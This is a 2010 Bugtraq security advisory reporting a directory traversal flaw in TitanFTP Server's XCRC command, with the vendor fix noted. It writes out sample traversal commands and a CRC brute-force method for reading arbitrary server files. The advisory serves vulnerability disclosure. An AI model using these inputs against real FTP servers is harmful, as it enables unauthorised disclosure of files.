TitanFTP Server Arbitrary File Disclosure

From: bill@accensussecurity.com
To: bugtraq@securityfocus.com
Subject: TitanFTP Server Arbitrary File Disclosure

Accensus Security Advisory L-02 TitanFtp Server Arbitrary File Disclosure



Product: TitanFTP Server

Security-Risk: high

Remote-Exploit: maybe, assuming anonymous ftp access

Local-Exploit: yes

Vendor URL: http://www.southrivertech.com/

Found By: Bill Finlayson


Affected: Versions 8.10.1125 and likely previous

Issue:  the xcrc command is susceptible to a directory traversal attack which will allow disclosure of the contents of any file on the server

Details: xcrc ..//..//..//..//a.txt 1 <some huge number> will disclose the file's size

xcrc ..//..//..//..//a.txt 1 2
xcrc ..//..//..//..//a.txt 1 3
xcrc ..//..//..//..//a.txt 1 <filesize>

when automated allows for an easy brute force attack on the crc's

Status: Submitted to Vendor 6/14/10 fixed 6/15/10

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